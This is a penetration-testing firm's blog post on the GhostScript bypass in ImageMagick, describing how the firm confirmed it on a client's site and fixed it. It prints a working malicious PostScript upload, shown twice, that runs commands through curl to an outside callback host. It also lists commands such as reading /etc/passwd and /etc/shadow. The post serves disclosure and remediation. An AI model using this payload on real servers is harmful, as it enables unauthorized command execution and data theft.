Software Secured Company Logo.
Services
Services
WEB, API & MOBILE SECURITY

Manual reviews expose logic flaws, chained exploits, and hidden vulnerabilities

Web Application Pentesting
Mobile Application Pentesting
Secure Code Review
Infrastructure & Cloud Security

Uncovers insecure networks, lateral movement, and segmentation gaps

External Network Pentesting
Internal Network Pentesting
Secure Cloud Review
AI, IoT & HARDWARE SECURITY

Specialized testing validates AI, IoT, and hardware security posture

AI Pentesting
IoT Pentesting
Hardware Pentesting
ADVANCED ADVERSARY SIMULATIONS

We simulate attackers, exposing systemic risks executives must address

Red Teaming
Social Engineering
Threat Modelling
PENETRATION TESTING AS A SERVICE

PTaaS provides continuous manual pentests, aligned with release cycles

Penetration Testing as a Service
OWASP TOP 10 TRAINING

Practical security training strengthens teams, shifting security left effectively

Secure Code Training
Ready to get started?
Identify real vulnerabilities confidently with zero-false-positive penetration testing
Learn More
Industries
Industries
INDUSTRIES
Data and AI

AI pentesting uncovers adversarial threats, ensuring compliance and investor trust

Healthcare

Penetration testing protects PHI, strengthens compliance, and prevents healthcare breaches

Finance

Manual pentests expose FinTech risks, securing APIs, cloud, and compliance

Security

Penetration testing validates SecurTech resilience, compliance, and customer trust

SaaS

Pentesting secures SaaS platforms, proving compliance and accelerating enterprise sales

CASE STUDY

“As custodians of digital assets, you should actually custodize assets, not outsource. Software Secured helped us prove that our custody technology truly delivers on that promise for our clients in both the cryptocurrency and traditional finance”

Nicolas Stalder,
CEO & Co-Founder, Cordial Systems
Ready to get started?
Our comprehensive penetration testing and actionable reports have 0 false positives so you can identify
Learn More
Compliance
Compliance
COMPLIANCE
SOC 2 Penetration Testing

Pentesting validates SOC 2 controls, proving real security to auditors and customers

HIPAA Penetration Testing

Manual pentesting proves HIPAA controls protect PHI beyond documentation

ISO 27001 Penetration Testing

Pentests uncover risks audits miss, securing certification and enterprise trust

PCI DSS Penetration Testing

Pentesting validates PCI DSS controls, protecting sensitive cardholder data

GDPR Penetration Testing

GDPR-focused pentests reduce breach risk, regulatory fines, and reputational loss

CASE STUDY

“Software Secured’s comprehensive approach to penetration testing and mobile expertise led to finding more vulnerabilities than our previous vendors.”

Kevin Scully,
VP of Engineering, CompanyCam
Ready to get started?
Our comprehensive penetration testing and actionable reports have 0 false positives so you can identify
Learn More
PricingPortal
Resources
Resources
COMPLIANCE
Blogs
Case Studies
Events & Webinars
Partners
Customer Testimonials
News & Press
Whitepapers
cybersecurity and secure authentication methods.
API & Web Application Security Testing

Attack Chains: The Hidden Weakness in Modern API & Web Application Security

Alexis Savard
November 21, 2025
Ready to get started?
Our comprehensive penetration testing and actionable reports have 0 false positives so you can identify
Learn More
Login
Book a Consultation
Contact
Blog
/
Security Research
/

GhostScript RCE Bypass in ImageMagick: Exploiting Insecure Defaults via PostScript Upload

A newly disclosed GhostScript bypass allowed attackers to execute OS commands through ImageMagick’s default PostScript handling. In this post, we walk through how the exploit works, how we confirmed it in the wild within 24 hours, and the remediation steps required to mitigate the risk.

By Sherif Koussa
・
5 min read
Table of contents
Text Link
Text Link

Introduction

A new bypass for GhostScript, which ImageMagick uses by default for handling PostScript, was posted yesterday, allowing attackers to execute rm commands. This is similar in nature to the ImageTragick bug, which plagued ImageMagick: image files containing PostScript were sent to ImageMagick, and when converted, launched commands against the OS.

As part of our continuous security efforts for our clients, we monitor for vulnerabilities that could affect them and confirm with clients when they are affected. This was one of those times.

We discovered one of our clients was vulnerable to this exploit. We wrote up the issue and submitted it to them within 24 hours of it being released to the public, and they were able to fix it in minutes.

Security Details / Walkthrough

One of our clients uses ImageMagick to convert images, creating thumbnails for their website.

The following payload was used as an image upload across all the upload functions on the dev website:

‍Filename: test.jpg

%!PS

userdict /setpagedevice undef

save

legal

{null restore} stopped {pop} if

{legal} stopped {pop} if

restore

mark /OutputFile (%pipe%curl${IFS}callback.softwaresecured.com/`id`)

currentdevice putdeviceprops

From previous testing with the client, we already knew which OS the application was running on, so we were okay using curl. While testing, we started with an nslookup call, since it's available on both Windows and Linux. We then uploaded this POC file to the client's website.

The upload request looks something like the following:

POST /file HTTP/1.1

Host: www.helloworld.com

...snip...

Connection: close

-----------------------------184561271817366

Content-Disposition: form-data; name="file"; filename="test.jpg"

Content-Type: image/jpeg

‍

%!PS

userdict /setpagedevice undef

save

legal

{null restore} stopped {pop} if

{legal} stopped {pop} if

restore

mark /OutputFile (%pipe%curl${IFS}callback.softwaresecured.com/`id`)

currentdevice putdeviceprops

-----------------------------184561271817366--

‍

Which gave back the following response:

HTTP/1.1 400 Bad Request

...snip...

Connection: close

{"errors":{"image":"Image is not valid"}}

The error didn’t seem to matter, as you’ll see in a moment.

On our server, we watched the logs for the curl command coming from the client's web server, waiting to see whether the user’s ID was included in the URL and whether we received any calls at all. After trying many different upload functions, here is the response we received:

GET /www-data HTTP/1.1
User-Agent: curl/7.35.0
Host: callback.softwaresecured.com
Accept: */*

‍Success! We have remote command execution on the client's web server, and the user running the web service is “www-data”. Other commands that worked included:

  • uname -a
  • cat /etc/passwd
  • nslookup

Luckily for the client, when we tried to cat the /etc/shadow file on the server, we received no data back. This means they run the web service as a lower-privileged user.

Dangers of insecure defaults and Remediation

As of the writing of this post, there is no one official fix. That being said, there is an official workaround. It’s advised to update the policy.xml file, which configures ImageMagick. The following is taken from the post on www.kb.cert.org:

Disable PS, EPS, PDF, and XPS coders in ImageMagick policy.xml

ImageMagick uses Ghostscript by default to process PostScript content. ImageMagick can be controlled via the policy.xml security policy to disable the processing of PS, EPS, PDF, and XPS content. For example, this can be done by adding these lines to the <policymap> section of the /etc/ImageMagick/policy.xml file on a RedHat system:

  • <policy domain="coder" rights="none" pattern="PS" />
  • <policy domain="coder" rights="none" pattern="EPS" />
  • <policy domain="coder" rights="none" pattern="PDF" />
  • <policy domain="coder" rights="none" pattern="XPS" />

Timeline

  • Tue, 21 Aug 2018 05:46:26 -0700: Vulnerability Published
  • Wednesday, 22 Aug 2018 11:21:00 -0500: Vulnerability confirmed on client website
  • Wednesday, 22 Aug 2018 12:26:00 -0500: Vulnerability published to client
  • Wednesday, 22 Aug 2018 13:08:00 -0500: Vulnerability fixed on all servers

References

https://www.kb.cert.org/vuls/id/332928

http://openwall.com/lists/oss-security/2018/08/21/2

https://www.imagemagick.org/script/security-policy.php

https://twitter.com/simps0n/status/1031922379256160256

‍

About the author

Sherif Koussa

Sherif Koussa is a cybersecurity expert and entrepreneur with a rich software building and breaking background. In 2006, he founded the OWASP Ottawa Chapter, contributed to WebGoat and OWASP Cheat Sheets, and helped launch SANS/GIAC exams. Today, as CEO of Software Secured, he helps hundreds of SaaS companies continuously ship secure code.

Continue your reading with these value-packed posts

Network Full Protection
Cloud Penetration Testing

Network Full Protection: The Role of Internal and External Network Pentesting

Cate Callegari
Cate Callegari
7 min read
December 10, 2024
PCI DSS Penetration Testing

Data Breach Fines: What You Need to Know

Cate Callegari
Cate Callegari
12 min read
March 27, 2023
Penetration Test Reports & ROI

Why Pentests Break Engineering Workflows (And What Actually Works Instead)

Sherif Koussa
Sherif Koussa
7 min read
January 14, 2026

Get security insights straight to your inbox

Helping companies identify, understand, and solve their security gaps so their teams can sleep better at night

Book a Consultation
Centralize pentest progress in one place
Canadian based, trusted globally
Actionable remediation support, not just findings
Web, API, Mobile Security
Web App PentestingMobile App PentestingSecure Code Review
Infrastructure & Cloud Security
External Network PentestingInternal Network PentestingSecure Cloud Review
AI, IoT & Hardware Security
AI PentestingIoT PentestingHardware Pentesting
More
PricingPortalPartnersContact UsAbout UsOur TeamCareers
More Services
Pentesting as a ServiceSecure Code Training
Industries
Data and AIFinanceHealthcareSecuritySaaS
Compliance
GDPR PentestingHIPAA PentestingISO 27001 PentestingPCI DSS PentestingSOC 2 Pentesting
Resources
BlogsCase StudiesEvents & WebinarsCustomer TestimonialsNews & PressWhitepapers
More
PricingPortalPartnersContact UsAbout UsOur TeamCareers
Resources
BlogsCase StudiesEvents & WebinarsCustomer TestimonialsNews & PressWhitepapers
Security & CompliancePrivacy PolicyTerms & Conditions
2026 ©SoftwareSecured